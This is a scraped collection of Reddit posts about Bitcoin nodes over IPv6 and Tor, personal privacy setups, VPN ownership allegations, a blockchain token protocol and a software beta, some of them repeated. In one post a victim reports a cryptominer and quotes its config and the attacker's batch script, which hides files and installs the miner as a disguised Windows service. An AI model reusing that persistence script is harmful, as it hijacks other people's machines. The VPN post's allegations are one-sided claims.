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If bitcoin is the internet of money, then BU is IPv6 and segwit is Carrier Grade NAT

If bitcoin is the internet of money, then BU is IPv6 and segwit is Carrier Grade NAT submitted by lightrider44 to btc [link] [comments]

Some tips for people who are interested in running a bitcoin full node and lightning node (also on IPv6) /r/Bitcoin

Some tips for people who are interested in running a bitcoin full node and lightning node (also on IPv6) /Bitcoin submitted by ABitcoinAllBot to BitcoinAll [link] [comments]

Adoption rates: IPv6 - 9 years and 22% usage, Segwit - 8 MONTHS and 33% usage /r/Bitcoin

Adoption rates: IPv6 - 9 years and 22% usage, Segwit - 8 MONTHS and 33% usage /Bitcoin submitted by HiIAMCaptainObvious to BitcoinAll [link] [comments]

If bitcoin is the internet of money, then BU is IPv6 and segwit is Carrier Grade NAT

If bitcoin is the internet of money, then BU is IPv6 and segwit is Carrier Grade NAT submitted by BitcoinAllBot to BitcoinAll [link] [comments]

Are there really significant IPv6 only nodes or is that just a way to double count nodes and inflate the apparent number? /r/Bitcoin

Are there really significant IPv6 only nodes or is that just a way to double count nodes and inflate the apparent number? /Bitcoin submitted by coincrazyy to BitcoinAll [link] [comments]

What I currently use for privacy (after almost 2 years of long investing into it)

First of all, my threat model: I'm just an average person that wants to AVOID the maximum I can to be monitored and tracked by the government and big corps, a lot of people out there REALLY hate me and I've gone through lots of harassment and other stuff, I also plan to take my activism and love for freedom more seriously and to do stuff that could potentially lead me to very high danger or even put my life on the line. That being said, my main focus is on something that is privacy-friendly but also something with decent security (no point having a lot of privacy if a script kiddie can just break into it an boom, everything is gone) anonymity is also desirable but I'm pretty aware that true 100% anonymity is simply not possible and to achieve the maximum you can of it currently you'd have to give up A LOT of stuff in which I don't think I really could. So basically, everything that I said + I don't want to give up some hobbies of mine (as playing games etc)
Here's what I use/have done so far, most of it is based on list and research I've done.
Google Pixel 3a XL running GrapheneOS
Apps: Stock apps (Vanadium, Gallery, Clock, Contacts etc) + F-DROID, NewPipe, OsmAnd+, Joplin, Tutanota, K-9 Mail, Aegis Authenticator, KeePassDX, Syncthing, Signal, Librera PRO, Vinyl, Open Camera and Wireguard.
I also use BlahDNS as my private DNS.
Other smartphone stuff/habits: I use a Supershieldz Anti Spy Tempered Glass Screen Protector on my phone and I also have a Faraday Sleeve from Silent Pocket which my phone is on most of the times (I don't have smartphone addiction and would likely advice you to break free from smartphone addiction if you have it). I NEVER use bluetooth (thank god Pixel 3a have a headphone jack so yeah, no bluetooth earphones here) and always keep my Wi-Fi off if I'm not using it.
I have a desktop that I built (specs: Asus B450M Gaming, AMD Ryzen 3 3300X, Radeon RX 580 8GB, 16GB DDR4 2666Mhz, 3TB HDD, 480GB SSD) that is dualbooted with QubesOS and Arch Linux.
Qubes is my main OS that I use as daily driver and for my tasks, I use Arch for gaming.
I've installed linux-hardened and its headers packages on my Arch + further kernel hardening using systctl and boot parameters, AppArmor as my MAC system and bubblewrap for sandboxing programs. I also spoof my MAC address and have restricted root access, I've also protected my GRUB with password (and use encrypted boot) and have enabled Microcode updates and have NTP and IPV6 disabled.
Also on Arch, I use iptables as a firewall denying all incoming traffic, and since it's my gaming PC, I don't game on the OS, instead, I use a KVM/QEMU Windows VM for gaming (search "How I Built The "Poor-Shamed" Computer" video to see what I'm talking about) I also use full disk encryption.
E-Mails: I use ProtonMail (Plus Account paid with bitcoin) and Tutanota (free account as they don't accept crypto payment yet, come on Tutanota, I've been waiting for it for 2 years already) since I have plus account on ProtonMail it allows me to use ProtonMail Bridge and use it on Claws Mail (desktop) and K-9 Mail (mobile) as for Tutanota I use both desktop and mobile app.
Some other e-mails habits of mine: I use e-mail aliases (ProtonMail plus account provides you with 5) and each alias is used for different tasks (as one for shopping, one for banking, one for accounts etc) and none of my e-mails have my real name on it or something that could be used to identify me. I also highly avoid using stuff that require e-mail/e-mail verification for usage (e-mail is such a pain in the ass tbh) I also make use of Spamgourmet for stuff like temporary e-mail (best service I found for this doing my research, dunno if it's really the best tho, heard that AnonAddy does kinda the same stuff but dunno, recommendations are welcomed)
Browsers/Search Engine: As mentioned, I use Vanadium (Graphene's stock browser) on mobile as it is the recommended browser by Graphene and the one with the best security for Android, for desktop I use a Hardened Firefox (pretty aware of Firefox's security not being that good, but it's the best browser for PC for me as Ungoogled Chromium is still not there in A LOT of things + inherent problems of Chrome as not being able to disable WebRTC unless you use an extension etc) with ghacks-user.js and uBlock Origin (hard mode), uMatrix (globally blocking first party scripts), HTTPS Everywhere (EASE Mode), Decentraleyes (set the recommended rules for both uBlock Origin and uMatrix) and Temporary Containers as addons. I also use Tor Browser (Safest Mode) on a Whonix VM on Qubes sometimes. DuckDuckGo is my to-go search engine and I use DNS over HTTPS on Firefox (BlahDNS as my provider once again)
browsing habits: I avoid JavaScript the maximum I can, if it's really needed, I just allow the scripts temporarely on uBlock Origin/uMatrix and after I'm done I just disable it. I also generally go with instead of (as JavaScript is not required to browse the old client), for checking twitter stuff (although I rarely have something peaking my interest on Twitter) and I use as youtube front-end (I do however use YouTube sometimes if a video I wanna see can't be played on invidious or if I wanna watch a livestream) and instead of other than avoiding JavaScript most of my browsing habits are just common sense at this point I'd say, I also use privatebin (snopyta's instance) instead of pastebin. I also have multiple firefox profiles for different tasks (personal usage, shopping, banking etc)
VPN: I use Mullvad (guess you can mention it here since it's PTIO's recommended) paid with bitcoin and honestly best service available tbh. I use Mullvad's multihop implementation on Wireguard which I manually set myself as I had the time and patience to learn how.
password manager: KeePassXC on desktop and KeePassDX on my smartphone, my password database for my desktop is stored on a USB flash driver I encrypted with VeraCrypt.
some other software on desktop: LibreOffice (as a Microsoft Office substitute), GIMP (Photshop substitute), Vim (I use it for multiple purposes, mainly coding IDE and as a text editor), VLC (media player), Bisq (bitcoin exchange), Wasabi (bitcoin wallet), OBS (screen recording), Syncthing (file sync), qBitTorrent (torrent client) and Element (federated real-time communication software). I sadly couldn't find a good open-source substitute to Sony Vegas (tested many, but none was in the same level of Vegas imo, KDENLive is okay tho) so I just use it on a VM if I need it (Windows VM solely for the purpose of video editing, not the same one I use for gaming)
router: I have an Asus RT-AC68U with OpenWRT as its firmware. I also set a VPN on it.
cryptocurrency hardware wallet: I store all of my cryptocurrency (Bitcoin and Monero) on a Ledger Nano S, about 97% of my money is on crypto so a hardware wallet is a must for me.
I have lots of USB flash drivers that I use for Live ISOs and for encrypted backups. I also have a USB Data Blocker from PortaPow that I generally use if I need to charge my cellphone in public or in a hotel while on a trip (rare occasion tbh).
I have a Logitech C920e as webcam and a Blue Yeti microphone in which I never let them plugged, I only plug them if it's necessary and after I'm done I just unplug them.
I also have a Nintendo Switch Lite as a gaming console that I most of the times just use offline, I just connect to the internet if needed for a software update and then just turn the Wi-Fi off from it.
Other Habits/Things I've done:
payments: I simply AVOID using credit card, I try to always pay on cash (I live in a third-world country so thank god most of people here still depend on cash only) physically and online I try my best to either by using cryptocurrency or using gift cards/cash by mail if crypto isn't available. I usually buy crypto on Bisq as I just don't trust any KYC exchange (and neither should you) and since there aren't many people here in my area to do face to face bitcoin trade (and I'm skeptical of face to face tbh), I use the Wasabi Wallet (desktop) to coinjoin bitcoin before buying anything as this allows a bit more of privacy, I also coinjoin on Wasabi before sending my bitcoins to my hardware wallet. I also don't have a high consumerism drive so I'm not constantly wanting to buy everything that I see (which helps a lot on this criteria)
social media/accounts: as noted, aside from Signal and Element (which I don't even use that often) I just don't REALLY use any social media (tried Mastodon for a while but I was honestly felt it kinda desert there and most of its userbase from what I've seen were some people I'd just... rather don't hang with tbh) and, althoug not something necessary is something that I really advise people to as social media is literally a poison to your mind.
I also don't own any streaming service like Netflix/Amazon Prime/Spotify etc, I basically pirate series/movies/songs and that's it.
I've also deleted ALL my old accounts from social media (like Twitter etc) and old e-mails. ALL of my important and main accounts have 2FA enabled and are protected by a strong password (I use KeePass to generate a 35 character lenght password with numbers, capital letters, special symbols etc, each account uses a unique password) I also NEVER use my real name on any account and NEVER post any pictures of myself (I rarely take pictures of stuff if anything)
iot/smart devices: aside from my smartphone, I don't have any IOT/smart device as I honestly see no need for them (and most of them are WAY too expensive on third-world countries)
files: I constatly backup all of my files (each two weeks) on encrypted flash drivers, I also use BleachBit for temporary data cleaning and data/file shredding. I also use Syncthing as a substitute to stuff like Google Drive.
Future plans:
learn to self-host and self-host an e-mail/NextCloud (and maybe even a VPN)
find something like BurneHushed but FOSS (if you know any please let me know)
So, how is it? anything that I should do that I'm probably not doing?
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PSA: Enable Tor as a simple way to make your node reachable.

Become one of the 10% of node operators that receive incoming connections.
Installing bitcoin core is easy, and with pruning it really isn't the space sink it is characterized as. Even a modest computer can complete the initial block download (IBD) and become a full node. But what some users (90%) find a bit more challenging, is how to become a listening node. Listening nodes are an important part of the network, and are simple enough to enable. I can think of 4 ways to do it:
  1. Operate on an OS and Network that support uPnP, allowing bitcoin to open the ports for you.
  2. Subscribe to a VPN that allows you to open ports through their service.
  3. Manually configure your OS and network to forward port 8333 and 18333.
  4. Run Tor and direct bitcoin to listen through it.
I'll discuss #4. Obviously #1 or #2 are easier, but require a VPN subscription or uPnP enabled HW. And if you live in a dorm or don't control the network, Tor may be the only free option available.
As a bit of background, bitcoin supports three networks that your node can listen on:
Obviously, the more you enable, the better, but here are the basic steps for Tor in broad strokes. If you have any questions post them here and I'll see if we can't help you out:
  1. Download, verify1 and install Gpg4win
  2. Download, verify2, install, and launch Tor Browser
  3. Download, verify3, install, and launch Bitcoin Core
  4. Launch and Admin command console in the directory containing tor.exe
  5. Install the Tor service: tor.exe --service install
  6. CD to service dir: cd %windir%\ServiceProfiles\LocalService\AppData\Roaming\tor
  7. Create and edit a file called torrc with the contents suggested below
  8. Restart tor: tor.exe --service stop && tor.exe --service start
  9. Record the hostname: type .\HiddenService\hostname as
  10. Add the bitcoin.conf options suggested below
  11. Restart the bitcoin-qt program
  12. (Optional) Activate the bitnodes crawler at
It may take a while for your node to show up on bitnodes. I've found the check button sometimes has trouble with onions. Of course you don't need to do it, but it can provide a simple way to check status once your on the list.

torrc file: (replace c:\windows with the proper path as needed)


Change to C:\Windows\ServiceProfiles\LocalService\AppData\Roaming

Log notice file \tor\service.log

Bridges may be needed if the Gov't shuts down Tor exit nodes. Get Bridges by

emailing [email protected] from Gmail (only) and uncomment as follows:

Bridge obfs4 : cert= iat-mode=

HiddenServiceDir \tor\HiddenService HiddenServiceVersion 2 HiddenServicePort 8333 HiddenServicePort 18333 ```

bitcoin.conf file: (entries to be ADDED)


Change to what you recorded earlier

onion= listen=1 externalip= discover=1 ```
  • 1 Cert: {Subject: Intevation GmbH; SHA1: c13a65963ad53e78694dd223d518007791a05fe4}
  • 2 PGP Signing Key: 0xEF6E286DDA85EA2A4BA7DE684E2C6E8793298290
  • 3 PGP Signing Key: 0x01EA5486DE18A882D4C2684590C8019E36C2E964
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Is there a curl or nc command to test node reachability?

I'm looking for a simple curl or nc command to tell me if a node is reachable. The only thing I can come up with when I read through the docs would be to send the "version" message described below, but it only partially succeeds.
Are there any simpler bits I can fling at the port to know if its up?
My failed attempt to send a version message to my node. I just hand crafted this message so the fact that the IP and port are wrong may be fatal. I'm not sure if the bitcoin protocol responds on the same connection or opens a separate port for the verack message.
``` f9beb4d9 ................... Start string: Mainnet 76657273696f6e0000000000 ... Command name: version + null padding 00000065 ................... Byte count: 101
72110100 ........................... Protocol version: 70002 0100000000000000 ................... Services: NODE_NETWORK bc8f5e5400000000 ................... [Epoch time][unix epoch time]: 1415483324
0100000000000000 ................... Receiving node's services 00000000000000000000ffffc61b6409 ... Receiving node's IPv6 address 208d ............................... Receiving node's port number
0100000000000000 ................... Transmitting node's services 00000000000000000000ffffcb0071c0 ... Transmitting node's IPv6 address 208d ............................... Transmitting node's port number
128035cbc97953f8 ................... Nonce
0f ................................. Bytes in user agent string: 15 2f5361746f7368693a302e392e332f ..... User agent: /Satoshi:0.9.3/
cf050500 ........................... Start height: 329167 01 ................................. Relay flag: true
5f1a69d2 ................... Checksum: SHA256(SHA256(<101 byte body>)) ```
Which would translate to:
xxd -r -p <<< "\ f9beb4d976657273696f6e00000000000000006572110100010000000000\ 0000bc8f5e5400000000010000000000000000000000000000000000ffff\ c61b6409208d010000000000000000000000000000000000ffffcb0071c0\ 208d128035cbc97953f80f2f5361746f7368693a302e392e332fcf050500\ 015f1a69d2" | \ nc -X 5 -x -v mybitcoin20node.onion 8333 | xxd -g 1 * - Obviously the onion address is redacted, but you get the point
This shows Connection to mybitcoin20node.onion 8333 port [tcp/*] succeeded!, but no data reply. I suppose the fact that it was able to bind to that address:port may be enough to imply that the node can be reached. Maybe not.
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What I currently use for privacy

So this is what software I currently use for privacy, would like some opinions if possible:
Starting with my cellphone, my device is a Google Pixel 3A XL with GrapheneOS flashed, I have the following apps installed:
F-Droid and AuroraOSS (as my app stores), NewPipe (youtube client), Vanadium (web browser), Tutanota and K-9 Mail (for e-mails), OsmAnd+ (for maps), Joplin (notes), Open Camera (camera), OpenBoard and Mozc for Android (Keyboard and Japanese Keyboard), Aegis Authenticator, KeePassDX (password manager), LibreTorrent (torrent client), Librera PRO (pdf/epub/mobi reader, I don't own a Kindle nor want to own one so I use my cellphone to read), Tachiyomi (manga reader), Signal (for messaging), Vinyl Music Player, VLC, Simple Gallery Pro and Simple Calendar Pro (I prefer them over stock Graphene options) and I also use Electrum and Samourai (Bitcoin Wallet) and Monerujo (Monero Wallet)
I also have OpenVPN (for VPN) and use a private DNS for ad and tracking blocking (provided by my VPN provider)
I have 3-4 PCs, will go over every single one of them:
my main PC is a desktop PC (that I built myself) that I mainly use for working and other tasks.
It runs Artix Linux (basically Arch Linux without systemd), I use UFW as my firewall (denying all incoming and also denying all outgoing only allowing what is useful) and I also use AppArmor Profiles, I disabled IPV6 and SWAP, configured my VPN connection as well on network settings and I currently run OpenVPN on my computer (my VPN provider allows for multi-hop cascade through OpenVPN in which I can create a custom VPN cascade up to four servers, each consecutive hop re-encrypts my traffic and assigns me a new IP address) and I've also set disk encryption on installation (have set in all of my computers)
As for software: I use Mozilla Firefox as my web browser (I set it to always be in private mode, unchecked suggestions for browsing history, bookmarks, and open tabs, I've also disabled the Firefox data collection in settings and block dangerous and deceptive content, I use DuckDuckGo as my search engine, I use Firefox Home as my default as my homepage. The rest of my tweaks were done in about:config (using site tweaks + geo.enabled = false, network.cookie.lifetimePolicy = 2 and as true which are not listed on the site) and the only addons I use are uBlock Origin on Hard Mode and Decentraleyes), KeePassXC (password manager), VIM (use it as a Text Editor and as an IDE for coding), LibreOffice (for working stuff), GIMP (image editor), VLC, qBitTorrent and Tutanota's Desktop Client and Thunderbird (for e-mails)
I also use KVM/QEMU for virtual machines (usually in case I wanna test some distro or use Tails/Whonix)
For my gaming PC (also a desktop I've built myself) I run Manjaro KDE on it, the only apps I have in the system are Firefox (same settings as above), OBS and KVM/QEMU (which I use a Win10 virtual machine for games, there are tutorials on YouTube on how to do so if you're interested). I have the same firewall settings as above, using AppArmor as well and I've also disabled IPV6 and SWAP, I run OpenVPN on it as well as my VPN DNS settings on network settings. I also use different mouse and keyboard on both my PCs and never mix them together.
My other 2 PCs are both laptops, one is a Acer Aspire Nitro I've bought for work (in case I need to work while in a trip or if I wanna work outside etc), it has the same settings and programs as my main PC but I run Gentoo on it. The other laptop is an old ThinkPad that runs Slackware on it, but I rarely use it and this laptop is most of the times not with me for safety reasons.
For some other devices and stuff: I have an Asus RT-AC86U router with OpenWRT flashed on it that I also run OpenVPN config files (this one coming from another provider, I use two VPN providers, on in my PCs and the other in my router), I have a Ledger Nano S as a hardware wallet for both Bitcoin and Monero (most of my cryptocurrency is there, I use hardware wallet for hodling purposes and as my emergency funding) and I have LOTS of USB flash drivers (all of them for Linux Live ISOs purposes), I also have a Nintendo Switch Lite (only gaming console I have, although have not been playing that much on it recently) that I only connect to the internet in case I need to download some updates or play online and after I'm done I immediately disconnect it from the internet.
Some other privacy habits I have are:
I don't own any smart device like Smart TVs (I've been more than 10 years now without watching TV, doesn't even bother me), Smart Fridges or Dishwashers that connect to your internet, ROOMBAS, Smart Home etc, I keep all my money on crypto (and I have a small amount in gold as well, but I rarely invest on it, all my gold is stored in a manual safe here in my apartment) and I only have like, 10 bucks or so in my back account (as soon as I receive any money I just left the necessary in my account to pay bills and put all the rest on crypto, I try to pay everything on crypto or cash), I RARELY use cloud storage, but if I need to, I go with NextCloud and encrypt all my files with VeraCrypt before uploading it, all my VPN services were paid with Bitcoin (I try to pay everything with crypto as previously said) and I never write directly into any website, I usually write my text on a text editor, copy it and paste it on the website (needless to say that I don't use mainstream social media as well)
So, what do you guys think? anything that you would add your recommend me? (before anyone mentions about self-hosting a DNS server using Pi-hole on a Raspberry Pi, I'm actually thinking on doing it in a near future)
EDIT: forgot to mention that I don't watch YouTube on PC on youtube site, I mostly watch youtube's videos on and only use the youtube site for watching live streams honestly. And I also barely go outside with my smartphone (only if I really need to) and I usually keep it away from my computers etc.
EDIT 2: also another thing: I covered all my laptop's webcams with black electrical tape, I have a Logitech C922 Pro webcam for my desktop PCs but rarely use it, and when I need to use it, I unplug it as soon as I'm done with it.
submitted by SlackAcademic to privacytoolsIO [link] [comments]

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)
submitted by r00t_of_bnets to Monero [link] [comments]

New Tor/IPv4/IPv6 Lightning routing node

Hi everyone,
I just launched a new Lightning Network (routing) node. I will open many channels in the coming weeks. Would be awesome to get some inbound!Some stats:

Tor: 02b8c29e92f4842d06c5f[email protected]m6b4ljgr5nx5xwucxc2rw53t5cqygv5c23mqad.onion:9735 IPv4: 02b[email protected] IPv6: 02b[email protected][2001:41d0:404:200::5082]:9735 
The node is linked to the no-profit "Bitcoin Sicurezza Privacy" project, whose purpose is to:
(You can support the project via the crowdfund page (PayJoin enabled)
Follow me on Twitter:
To contact me (in case you have problems with your node/channel eg. if it goes offline): [[email protected]](mailto:[email protected]) | PGP: 9E183EAD5CCF7D0D88E5BC47CA0E200FAE9F2AA0
submitted by RiccardoMasutti to lightningnetwork [link] [comments]

Bitcoin Node Delayed Block Propagation

Hello all, my bitcoin node is experiencing extreme block propagation delays. On average 1 to 4 blocks behind what blockstream dot info shows. I'm also noticing that my node has also been unable to maintain connections very long with many other nodes as it used to.
Some notable items of the issue I’ve been seeing are:
- According to bitnodes dot io my node is only intermittently reachable.
- These symptoms / results have been persistent both from behind my router using IPV4 as well as directly connected to cable modem using IPV6 connected to the RJ45 port.
- I've done virus checks, reinstalled the WIFI card in device manager, disabled my anti-virus
- I've even downgraded bitcoin core to several versions thinking it may have been a bug that I didn't notice initially in the most recent release but no luck there either (down to V 18.x) with reboots in between.
- I've performed SCF /scannow (Windows 10 machine) and repaired some corrupted files
- uninstalled avast antivirus
- sidestepped the router and plugged directly into the cable modem
- Scanned laptop with windows defender after updating definitions.
I've had my node running for well over a year and a half and just noticed this issue this week (although it may have been going on for the last few weeks). I'm really starting to believe it's my ISP fighting bitcoin or maybe even something worse.
Either way I'm downloading another node on another machine and will test it to rule out my hardware on my machine that has been having the issue and hope to rule this out later today. In the meantime if any of you who are also running a node can confirm that you are receiving blocks at the normal speed it would be appreciated. Note that when doing so don’t just rely on the time stamp in the console view of the bitcon core info section! Be sure to test it by either using the GETBLOCKCOUNT command in the console and/or reviewing the historical log of your node to see what time your node actually received the updated tip (most recent block hash). The console window on my node shows the correct timestamps but the node itself isn’t receiving the blocks until sometimes 30+ minutes after they’re propagated to the network.
Thanks in advance for your feedback!
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Do we now have a potential VPN criminal conglomerate?

As many of you have already read, Private Internet Access has recently been acquired by a company named “Kape Technologies”. “Kape Technologies” is a huge company that also owns the likes of CyberGhost VPN as well as Zenmate. I decided to read more and found facts that thoroughly shocked me:
• CyberGhost was acquired by “Kape Technologies” (previously named “Crossrider”) back in 2017. “Crosrider” was known to hide malware/adware in their software and then sell data collected by it.
• The co-founder of “Kape Technologies”, Teddy Sagi was sentenced to prison in regards to fraud and bribery back in 1996.
• CyberGhost VPN service was also found to have WebRTC, IPv6 as well as DNS leaks multiple times, risking its users’ privacy.
• Private Internet Access hired Mark Karpeles (ex-CEO of MT.Gox BitCoin platform) as their CTO. Karpeles was arrested and found guilty when tampering with financial records, trying to hide the platform’s loss by combining his personal finances with the exchange’s.
• Private Internet Access’s founder, Andrew Lee, also known as “Rasengan” on HackerNews, made serious allegations against ProtonVPN.
• Allegations against NordVPN followed, where PIA’s employee was caught sharing a misleading PDF as a ‘concerned citizen’.
• An ex-employee of Private Internet Access was threatened due to disclosing management issues, therefore spilling a lot of information about the company.
• The same employee disclosed that PIA faked Reddit comments and ordered to downvote negative feedback about the product.
• Another thing to consider is that before acquisition, Private Internet Access was in debt of over $32 million.
The facts about these companies were easy to find, to be honest, I didn’t need to dig deep to find them. I am just truthfully shocked about this and how much I didn’t know about the companies beforehand. Personally, given this knowledge, I am not going to support these companies, especially when they potentially have criminal past and present activities.
P.S. Had to use my relative's account just cause someone is working hard to remove these posts :)
Edit: By the way - has anyone tried sharing these news with journalists, for example, PcMag or TechRadar (they're unbiased imho)? I don't see the story being covered at all, especially with these added details
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Best Dedicated Server in McLean

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What are the Types Of Operating System Provided in Germany?

What Are The Different Dedicated Servers We Provide in Germany?

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Best Dedicated Server in Miami

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ODIN Contributor, Catamorpheus Releases FORGE GitHub -- MORE INFORMATION WITHIN!

ODIN Contributor, Catamorpheus Releases FORGE GitHub -- MORE INFORMATION WITHIN!

Photo Credit: AskCryptoViking
This implementation of FORGE uses the C++17 language. Forge is a protocol using OP_RETURN transactions in blockchains to encode commands. Doing this, Forge is currently able to support Utility Tokens and Unique Entries.
Utility Tokens
Utility tokens create new digital assets on top of already existing blockchains. Utility tokens consist of a name and a supply
A new type of utility token can only be generated if its name is not currently in use by any other type of token or entry within FORGE at the time of the new token creation. When a user creates a new utility token, they specify the name and the supply and then receive the supply of newly FORGED tokens to the provided address.
Transfering Utility Tokens
Transferring Utility Tokens to other addresses. The owner of a batch of tokens of the same type can create an ownership transfer operation using FORGE. Such an operation consists of the name of the token they want to send, the number of tokens to be sent and a receiver's address. If at the time of the transaction, the owner has enough tokens, the receiver will receive the pre-determined number of tokens sent during the initial send by the prior owner. The initial creator (the sender) of the ownership transfer will no longer have control over the sent tokens. New ownership will then solely lie with the recipient (the receiver) of the ownership transfer
Burning Utility Tokens
Like Bitcoin or any other cryptocurrency, Utility Tokens can be burned by the owner of the tokens. To do this, a user needs to create deletion operation, which consists of the name of the token he wants to burn and a number of tokens he/she wants to burn. If the user has enough tokens at the time of the deletion operation, the pre-determined number of tokens gets burned, and access to them after the burn is lost, resulting in the total supply of a token being decreased. If a token at any time has a supply of 0, the name of the token can be reused to create new tokens or entries with the same name within FORGE.
Unique Entries
Unique Entries are key-value pairs where the key is owned and controlled by precisely one owner at a time. The value of such a key, which can currently be nothing, an IPv4, an IPv6, or an arbitrary string can be chosen by the owner.
Lifetime and Refreshing
Once a unique entry is generated, it remains valid for exactly one year. To extend its lifetime, the owner can refresh the entry. The entry's validity is then extended precisely one year from the time of refresh.
Ownership Transfering
Like tokens, unique entries can be transferred to another owner. After such an ownership transfer, the new owner is solely responsible for refreshing the entry.
An entry, like tokens, can be deleted. After deletion, an entry is now free for others to use. Upon deletion, the entry is invalid, cannot be found in lookup operations, and is open for creation by other FORGE users with any assigned value.
Currently, there are two types of unique entries:
1.)Modifiable Unique Entries also known as MUEntries 2.)Immutable Unique Entries also known as Unique Entries in the code.
Modifiable Unique Entries
Modifiable Unique Entries are useful when the owner is unsure which value they want to be associated with the entry. With modifiable entries, support update operations, allow for reassignment of value to the entry.
Immutable Unique Entries
Modifiable Unique Entries do not support update operations. Once created with a specific value, the entry cannot be modified or changed.
FORGE "knows" the owner of unique entries. Since individual entries are unique, it is possible to use FORGE as a DNS for payments. Essentially, this means that instead of paying someone with an address, it is possible to pay someone via their entry. Since entries can be created with arbitrary names, users can create an entry with a nickname and receive payments directly to their nickname rather than publishing a complicated and intimidating long-string random alphanumeric address.
FORGE currently supports IPv4 and IPv6 as associated values for entries. IPv4 and IPv6 means FORGE can operate as a decentralized DNS, allowing for users to lookup IP address through FORGE Entries. FORGE scripts allowing for local running of DNS-Servers is planned and will make use of FORGE as backend.
Not only is IP address lookup currently supported, but it also allows for public key search in a decentralized form, meaning FORGE can function as a decentralized Keyserver.
File Hashes
Unique Entries support the storage of arbitrary byte-values. Because of this storage support, it is possible to store file hashes within the blockchain with an associated entry name. This storage method allows for a more straightforward filehash lookup in future instances using FORGE.
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Connect to TOR node outside of LAN

I configured my bitcoin full node (raspiblitz) to run over TOR instead of my IPv6 address, so the usual procedure adding it as a trusted peer outside of my LAN would be to just specifiy the public IPv6 address and that`s it.
Now, since my node is running over TOR instead, the raspiblitz displays an onion address in the format xyz.onion instead of my public IPv6. My question is, how do I add my TOR node as a trusted peer outside of my local network in a wallet, since I can not just enter the onion address right?
Really confused about this, some clearing up would be really helpful!
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Do we now have a potential VPN criminal conglomerate?

As many of you have already read, Private Internet Access has recently been acquired by a company named “Kape Technologies”. “Kape Technologies” is a huge company that also owns the likes of CyberGhost VPN as well as Zenmate. I decided to read more and found facts that thoroughly shocked me:
• CyberGhost was acquired by “Kape Technologies” (previously named “Crossrider”) back in 2017. “Crosrider” was known to hide malware/adware in their software and then sell data collected by it.
• The co-founder of “Kape Technologies”, Teddy Sagi was sentenced to prison in regards to fraud and bribery back in 1996.
• CyberGhost VPN service was also found to have WebRTC, IPv6 as well as DNS leaks multiple times, risking its users’ privacy.
• Private Internet Access hired Mark Karpeles (ex-CEO of MT.Gox BitCoin platform) as their CTO. Karpeles was arrested and found guilty when tampering with financial records, trying to hide the platform’s loss by combining his personal finances with the exchange’s.
• Private Internet Access’s founder, Andrew Lee, also known as “Rasengan” on HackerNews, made serious allegations against ProtonVPN.
• Allegations against NordVPN followed, where PIA’s employee was caught sharing a misleading PDF as a ‘concerned citizen’.
• An ex-employee of Private Internet Access was threatened due to disclosing management issues, therefore spilling a lot of information about the company.
• The same employee disclosed that PIA faked Reddit comments and ordered to downvote negative feedback about the product.
• Another thing to consider is that before acquisition, Private Internet Access was in debt of over $32 million.
The facts about these companies were easy to find, to be honest, I didn’t need to dig deep to find them. I am just truthfully shocked about this and how much I didn’t know about the companies beforehand. Personally, given this knowledge, I am not going to support these companies, especially when they potentially have criminal past and present activities.
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It's finally here! Tautulli v2 [beta] (formerly PlexPy v2)

It's finally here! Tautulli v2 [beta] (formerly PlexPy v2).

The long awaited for PlexPy v2 is finally here with a new name Tautulli! Also check us out on the new Plex Labs!
I'm looking for some brave people to help me test some new feature before I fully release them. It's a very big update so I want to make sure everything is working.
Warning: This may mess up your PlexPy install and/or your database. You have been warned. Only join the beta if you are serious about testing and reporting bugs, otherwise I strongly recommend you wait until the final release.


v2.0.0-beta (2017-12-18)

v2.0.1-beta (2017-12-19)

v2.0.2-beta (2017-12-24)

v2.0.3-beta (2017-12-25)

v2.0.4-beta (2017-12-29)

v2.0.5-beta (2017-12-31)

v2.0.6-beta (2017-12-31)

v2.0.7-beta (2018-01-01)

v2.0.8-beta (2018-01-03)

v2.0.9-beta (2018-01-03)

v2.0.10-beta (2018-01-04)

v2.0.11-beta (2018-01-05)

v2.0.12-beta (2018-01-07)

v2.0.13-beta (2018-01-13)

v2.0.14-beta (2018-01-20)

v2.0.15-beta (2018-01-27)

v2.0.16-beta (2018-01-30)

v2.0.17-beta (2018-02-03)

v2.0.18-beta (2018-02-12)

v2.0.19-beta (2018-02-16)

v2.0.20-beta (2018-02-24)

v2.0.21-beta (2018-03-04)

v2.0.22-beta (2018-03-09)

"I'm interested! Where do I sign up?"

